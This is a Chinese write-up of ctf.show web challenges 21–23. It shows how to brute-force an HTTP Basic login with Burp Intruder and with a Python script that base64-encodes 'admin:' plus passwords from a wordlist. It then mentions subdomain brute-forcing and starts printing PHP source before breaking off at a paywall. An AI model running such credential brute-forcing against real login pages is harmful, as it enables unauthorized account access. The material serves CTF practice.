web21
爆破什么的,都是基操

要求我们登录,但是什么都没给,只能通过爆破来登录
利用题目给我们的字典和burp进行爆破,先抓包

查看请求头看见账号密码是以base64编码形式发送的,解密一下可看见格式是账号:密码,先发送到Intruder中

攻击方式选择狙击手(Sniper),将要爆破的字段添加变量,然后点击Payloads

接下来开始爆破,选择自定义迭代器,猜测用户名是admin,并且:也是固定的
在位置1添加admin:

位置2导入密码字典

在下面有效负载处理添加base64编码

注意不要选择url编码字符

然后返回点开始攻击

爆破出结果后按照长度排序(不然很难找),得到flag

也可以用脚本来爆破
import time
import requests
import base64
url = 'http://f3975ea2-66c3-456e-9161-3284b75296e5.challenge.ctf.show/index.php'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
跑出结果

web22
域名也可以爆破的,试试爆破这个ctf.show的子域名
但是域名更新后,flag.ctf.show域名失效
内容是flag{ctf_show_web},直接交就可以了
web23
还爆破?这么多代码,告辞!
打开后得到源码
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token<
Web安全挑战:爆破与密码验证,

文章讲述了在Web安全挑战中,通过抓包、Base64编码、爆破技术(如Intruder和BurpSuite)破解登录凭证的过程,涉及MD5哈希、随机数生成及特定条件验证,最终获取flag。
最低0.47元/天 解锁文章
741

被折叠的 条评论
为什么被折叠?



